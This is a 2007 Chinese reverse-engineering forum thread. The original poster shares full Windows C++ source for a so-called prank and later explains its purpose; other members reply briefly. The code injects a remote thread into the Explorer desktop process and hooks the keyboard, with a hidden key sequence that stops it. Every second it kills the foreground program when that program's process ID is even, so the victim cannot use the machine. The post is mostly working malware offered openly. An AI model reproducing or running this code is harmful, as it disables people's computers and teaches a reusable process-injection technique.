飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 4206|回复: 8

一堆类似恶作剧的代码

[复制链接]

该用户从未签到

发表于 2007-10-31 21:48:41 | 显示全部楼层 |阅读模式
不记得为什么要写的了,可能是因为太无聊/:L ..  整理硬盘看到的, 不忍心直接删了, 来这里发一份..   :)
  1. // test.cpp : Defines the entry point for the application.
  2. //

  3. #include "stdafx.h"

  4. typedef int (WINAPI *MESSAGEBOXA)(HWND, LPCTSTR, LPCTSTR, UINT);        //MessageBoxA原型
  5. typedef HHOOK (WINAPI *SETWINDOWSHOOKEXA)(int,  HOOKPROC, HINSTANCE, DWORD);        //SetWindowsHookEx原型
  6. typedef BOOL (WINAPI *UNHOOKWINDOWSHOOKEX)(HHOOK);                //UnHookWindowsHookEx原型
  7. typedef UINT (WINAPI *SETTIMER)(HWND, UINT, UINT, TIMERPROC);        //SetTimer原型
  8. typedef BOOL (WINAPI *KILLTIMER)(HWND, UINT);        //KillTimer原型
  9. typedef BOOL (WINAPI *TERMINATEPROCESS)(HANDLE, UINT);        //TerminateProcess原型
  10. typedef HWND (WINAPI *GETFOREGROUNDWINDOW)();        //GetForegroundWindow原型
  11. typedef DWORD (WINAPI *GETWINDOWTHREADPROCESSID)(HWND, LPDWORD);        //GetWindowThreadProcessId原型
  12. typedef VOID (WINAPI *SLEEP)(DWORD);        //Sleep原型
  13. typedef HANDLE (WINAPI *OPENPROCESS)(DWORD, BOOL, DWORD);                //OpenProcess原型
  14. typedef LRESULT (WINAPI *CALLNEXTHOOKEX)(HHOOK, int, WPARAM, LPARAM);        //CallNextHookEx原型
  15. typedef BOOL (WINAPI *CLOSEHANDLE)(HANDLE);
  16. typedef DWORD (WINAPI *GETCURRENTTHREADID)(VOID);


  17. typedef struct {        //注入的数据
  18.         DWORD dwMagic;

  19.         MESSAGEBOXA pfnMessageBoxA;
  20.         SETWINDOWSHOOKEXA pfnSetWindowsHookExA;
  21.         UNHOOKWINDOWSHOOKEX pfnUnHookWindowsHookEx;
  22.         SETTIMER pfnSetTimer;
  23.         KILLTIMER pfnKillTimer;
  24.         TERMINATEPROCESS pfnTerminateProcess;
  25.         GETFOREGROUNDWINDOW pfnGetForegroundWindow;
  26.         GETWINDOWTHREADPROCESSID pfnGetWindowThreadProcessId;
  27.         SLEEP pfnSleep;
  28.         OPENPROCESS pfnOpenProcess;
  29.         CALLNEXTHOOKEX pfnCallNextHookEx;
  30.         CLOSEHANDLE pfnCloseHandle;
  31.         GETCURRENTTHREADID pfnGetCurrentThreadId;

  32.         LPVOID pVirtualMemory;
  33.         DWORD dwCodeLen;
  34.         DWORD dwDesktopProcessId;
  35.         DWORD dwDesktopThreadId;
  36.         bool Quit;
  37.         HHOOK hhk;
  38.         UINT uTimerId;
  39.         DWORD dwPosition;
  40. }InjectData, *pInjectData;

  41. LRESULT CALLBACK KeyboardProc(int, WPARAM, LPARAM); //钩子回调函数
  42. VOID CALLBACK TimerProc(HWND, UINT, UINT, DWORD);        //时钟的回调函数
  43. pInjectData GetDataAddress(LPVOID, LPVOID);


  44. DWORD WINAPI mycode(LPVOID lpParam)
  45. {
  46.         pInjectData Data = GetDataAddress(mycode, mycode);

  47.         HOOKPROC MyKeyboardProc = (HOOKPROC)((DWORD)Data->pVirtualMemory + ((DWORD)KeyboardProc - (DWORD)mycode));
  48.         TIMERPROC MyTimerProc = (TIMERPROC)((DWORD)Data->pVirtualMemory + ((DWORD)TimerProc - (DWORD)mycode));

  49.         Data->hhk = Data->pfnSetWindowsHookExA(WH_KEYBOARD, MyKeyboardProc, NULL, Data->dwDesktopThreadId);    //挂键盘钩子
  50. //        Data->uTimerId = Data->pfnSetTimer(NULL, NULL, 1000, MyTimerProc);        //打开时钟
  51.         while (true) {
  52.                 Data->pfnSleep(1000);
  53.                 TimerProc(0,0,0,0);
  54.                 if (Data->Quit) {
  55. //                        Data->pfnKillTimer(NULL, Data->uTimerId);
  56.                         Data->pfnUnHookWindowsHookEx(Data->hhk);
  57.                         break;
  58.                 }
  59.         }
  60.         return 0;
  61. }

  62. LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
  63. {
  64.         pInjectData Data = GetDataAddress(mycode, KeyboardProc);

  65.         if ((code == HC_ACTION) && (lParam & 0x40000000)) {

  66.                 unsigned char szPassword[] = {0x36,0x36,0x31,0x36,0x31,0x31,0x36};

  67.                 if ((DWORD)wParam == szPassword[Data->dwPosition])
  68.                         Data->dwPosition++;
  69.                 else
  70.                         Data->dwPosition = 0;

  71.                 if (Data->dwPosition == sizeof(szPassword)) {
  72.                         Data->Quit = true;
  73.                         //Data->pfnMessageBoxA(0, (char*)&wParam, 0, 0);
  74.                 }
  75.         }

  76.         return Data->pfnCallNextHookEx(Data->hhk, code, wParam, lParam);
  77. }

  78. VOID CALLBACK TimerProc(HWND hwnd, UINT uMsg, UINT idEvent, DWORD dwTime)
  79. {
  80.         pInjectData Data = GetDataAddress(mycode, TimerProc);
  81.         DWORD dwCurrProcId;
  82.         Data->pfnGetWindowThreadProcessId(Data->pfnGetForegroundWindow(), &dwCurrProcId);
  83.         if (!(dwCurrProcId % 2)) {
  84.                 if (dwCurrProcId != Data->dwDesktopProcessId) {
  85.                         HANDLE hProc = Data->pfnOpenProcess(PROCESS_ALL_ACCESS, false, dwCurrProcId);
  86.                         Data->pfnTerminateProcess(hProc, 0x0);
  87.                         Data->pfnCloseHandle(hProc);
  88.                 }
  89.         }
  90. }

  91. pInjectData GetDataAddress(LPVOID lpEntryAddress, LPVOID lpCurrentAddress)
  92. {
  93.         DWORD dwVM = 0;
  94.         __asm {
  95.                 push eax;
  96.                 mov eax, dword ptr [ebp+4];
  97.                 mov dwVM, eax;
  98.                 pop eax;
  99.         }

  100.         pInjectData pDataAddress = (pInjectData)(dwVM & 0xFFFF0000);

  101.         while (true) {
  102.                 if (pDataAddress->dwMagic == 0x11111111)
  103.                         return (pInjectData)pDataAddress;
  104.                 pDataAddress = (pInjectData)((char*)pDataAddress + 100);
  105.         }
  106. }

  107. int APIENTRY WinMain(HINSTANCE hInstance,
  108.                      HINSTANCE hPrevInstance,
  109.                      LPSTR     lpCmdLine,
  110.                      int       nCmdShow)
  111. {
  112.         DWORD dwDesktopProcID;        //桌面的进程ID
  113.         DWORD nCodeLen = (DWORD)WinMain - (DWORD)mycode;        //要注入的代码长度
  114.         InjectData Data;        //注入的数据
  115.         DWORD dwStructLen = sizeof(InjectData); //注入的数据长度
  116.         DWORD dwSizeOfVirtual;        //要分配的内存长度

  117.         Data.dwMagic = 0x11111111;
  118.         Data.dwPosition = 0;

  119.         //对齐
  120.         nCodeLen = 100 + (nCodeLen - 1) / 100 * 100;

  121.         dwSizeOfVirtual = nCodeLen + dwStructLen;  //计算要分配的内存长度

  122.         //初始化注入的数据
  123.         Data.dwCodeLen = nCodeLen;
  124.         Data.Quit = false;
  125.         //
  126.         //设置远程线程要调用的函数地址
  127.         HINSTANCE hLib = LoadLibrary("User32.dll");
  128.         if (hLib) {
  129.                 Data.pfnGetForegroundWindow = (GETFOREGROUNDWINDOW)GetProcAddress(hLib, "GetForegroundWindow");
  130.                 Data.pfnKillTimer = (KILLTIMER)GetProcAddress(hLib, "KillTimer");
  131.                 Data.pfnMessageBoxA = (MESSAGEBOXA)GetProcAddress(hLib, "MessageBoxA");
  132.                 Data.pfnSetTimer = (SETTIMER)GetProcAddress(hLib, "SetTimer");
  133.                 Data.pfnSetWindowsHookExA = (SETWINDOWSHOOKEXA)GetProcAddress(hLib, "SetWindowsHookExA");
  134.                 Data.pfnUnHookWindowsHookEx = (UNHOOKWINDOWSHOOKEX)GetProcAddress(hLib, "UnhookWindowsHookEx");
  135.                 Data.pfnGetWindowThreadProcessId = (GETWINDOWTHREADPROCESSID)GetProcAddress(hLib, "GetWindowThreadProcessId");
  136.                 Data.pfnCallNextHookEx = (CALLNEXTHOOKEX)GetProcAddress(hLib, "CallNextHookEx");
  137.                 FreeLibrary(hLib);
  138.         } else {
  139.                 MessageBox(NULL, "加载User32.dll失败", 0, MB_OK);
  140.                 return 0;
  141.         }

  142.         hLib = LoadLibrary("Kernel32.dll");
  143.         if (hLib) {
  144.                 Data.pfnTerminateProcess = (TERMINATEPROCESS)GetProcAddress(hLib, "TerminateProcess");
  145.                 Data.pfnSleep = (SLEEP)GetProcAddress(hLib, "Sleep");
  146.                 Data.pfnOpenProcess = (OPENPROCESS)GetProcAddress(hLib, "OpenProcess");
  147.                 Data.pfnCloseHandle = (CLOSEHANDLE)GetProcAddress(hLib, "CloseHandle");
  148.                 Data.pfnGetCurrentThreadId = (GETCURRENTTHREADID)GetProcAddress(hLib, "GetCurrentThreadId");
  149.                 FreeLibrary(hLib);
  150.         } else {
  151.                 MessageBox(NULL, "加载Kernel32.dll失败", 0, MB_OK);
  152.                 return 0;
  153.         }

  154.         //
  155.         //开始注入
  156.         Data.dwDesktopThreadId = GetWindowThreadProcessId(FindWindow("Progman", NULL), &dwDesktopProcID);        //得到桌面句柄

  157.         if (dwDesktopProcID) {
  158.                 Data.dwDesktopProcessId = dwDesktopProcID;        //保存桌面进程ID
  159.                 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwDesktopProcID);        //打开进程,准备开辟一个空间来存放注入的代码

  160.                 if (hProcess) {
  161.                         LPVOID pMem = VirtualAllocEx(hProcess, NULL, dwSizeOfVirtual, MEM_COMMIT, PAGE_EXECUTE_READWRITE);        //在目标进程开辟一个内存空间存放代码

  162.                         if (pMem) {
  163.                                 Data.pVirtualMemory = pMem;
  164.                                 LPVOID lpDataAddress = (char*)pMem + nCodeLen;  //计算数据要写入的位置
  165.                                 if ((!WriteProcessMemory(hProcess, pMem, (LPVOID)mycode, nCodeLen, NULL) || (!WriteProcessMemory(hProcess, lpDataAddress, (LPVOID)&Data, dwStructLen, NULL)))) {        //写入自己的代码.
  166.                                         MessageBox(NULL,"注入代码时失败", "提示", MB_OK);
  167.                                         VirtualFreeEx(hProcess, pMem, dwSizeOfVirtual, MEM_RELEASE);
  168.                                 }

  169.                                 else
  170.                                         CloseHandle(CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pMem, lpDataAddress, 0, NULL)); //运行代码
  171.                         }
  172.                 CloseHandle(hProcess);
  173.                 }
  174.         }
  175.         return 0;
  176. }
复制代码
PYG19周年生日快乐!

该用户从未签到

发表于 2007-11-1 00:00:52 | 显示全部楼层
看不懂。膜拜下。。。
PYG19周年生日快乐!

该用户从未签到

 楼主| 发表于 2007-11-1 16:28:40 | 显示全部楼层
作用就在Explore.exe里面注入段代码,然后不停的把最前台的程序杀掉,让你什么程序也运行不了./:017
PYG19周年生日快乐!

该用户从未签到

发表于 2007-11-1 16:45:27 | 显示全部楼层
厉害,好好学习!!!
PYG19周年生日快乐!

该用户从未签到

发表于 2007-11-3 06:06:06 | 显示全部楼层
太复杂了吧,懒得看了
PYG19周年生日快乐!

该用户从未签到

 楼主| 发表于 2007-11-3 14:48:10 | 显示全部楼层
呵呵,有些地方被换行了,看上去代码是乱糟糟的.
PYG19周年生日快乐!
  • TA的每日心情
    开心
    2023-4-6 10:07
  • 签到天数: 23 天

    [LV.4]偶尔看看III

    发表于 2007-11-3 16:16:55 | 显示全部楼层
    不错啊。
    PYG19周年生日快乐!

    该用户从未签到

     楼主| 发表于 2007-11-3 17:11:44 | 显示全部楼层
    原帖由 xingke 于 2007-11-3 16:16 发表
    不错啊。



    啊了,我也终于有个精华了,3Q.
    PYG19周年生日快乐!

    该用户从未签到

    发表于 2007-11-5 15:42:09 | 显示全部楼层
    哈哈

    好狠的代码
    PYG19周年生日快乐!
    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表